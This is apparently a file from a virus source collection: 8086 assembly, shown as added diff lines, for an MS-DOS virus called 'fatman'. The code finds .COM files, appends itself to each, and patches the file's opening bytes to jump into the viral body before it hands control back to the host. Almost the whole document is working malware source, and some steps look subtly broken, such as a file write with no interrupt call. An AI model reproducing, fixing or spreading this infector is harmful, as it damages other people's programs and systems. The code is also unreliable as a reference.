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MSDOS/Virus.MSDOS.Unknown.fatman.asm

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+code    segment'code'
+assume  cs:code, ds:code, ss:code, es:code
+org     100h
+dta             equ     endcode  + 10
+fatmanid        equ     34
+start:
+
+        jmp     virus
+        hoststart:
+        db      90h,90h,90h             ;NOP
+        db      0cdh,020h,1ah,1ah       ;INT 20
+        hostend:
+        virus:
+        call $ + 2
+fatman:
+        pop     bp                         ;Search for next files
+        sub     bp,offset fatman
+        mov     ah,1ah
+        lea     dx,[bp +dta]
+        int     21h
+        mov     ah,4eh
+        lea     dx,[bp + filespec]
+        xor     cx,cx
+fileloop:
+        int     21h
+        jc      quit
+        mov     ax,3d02h                   ;Open file read and write
+        lea     dx,[bp + offset dta + 30]  ;Move the offset of filename
+        int     21h                        ;into dx register
+        jc      quit
+        xchg    bx,ax
+        mov     ah,3fh                     ;read from file
+        mov     cx,4                       ;read 4 bytes off file
+        lea     dx,[bp + orgjmp]           ;store the 4 bytes
+        int     21h
+        mov     ax,4202h                   ;point to end of file
+        xor     cx,cx
+        xor     dx,dx
+        int     21h
+        sub     ax,03h                     ;Back three bytes from org
+        mov     [bp + newjmp + 2], ah      ;high location
+        mov     [bp + newjmp + 1], al      ;low location
+        mov     [bp + newjmp + 3], fatmanid;his ID
+        mov     ah,0e9h                    ;JMP
+        mov     [bp + newjmp],ah
+        mov     ah,40h                    ;write to file
+        mov     cx,endcode - virus
+        lea     dx,[bp + virus]
+        jc      quit
+        mov     ax,4200h                  ;Moving to TOP of file
+        xor     cx,cx
+        xor     dx,dx
+        int     21h
+        mov     ah,40h                   ;writing 4 bytes to top of file
+        mov     cx,4
+        lea     dx,[bp + offset newjmp]
+        int     21h
+        mov     ah,1ah
+        mov     dx,080h
+        int     21h
+        quit:
+        lea     si,[bp + offset thisjmp]
+        mov     di,0100h
+        mov     cx,04h
+        cld
+        rep     movsb
+        mov     di,0100h
+        jmp     di
+
+        
+
+
+        filespec        db      '*.COM',0
+        orgjmp          db      4 dup (?)
+        newjmp          db      4 dup (?)
+        thisjmp         db      4 dup (?)
+        oldjmp          db      09h,0cdh,020h,90h
+        endcode:
+
+        code    ends
+        end     start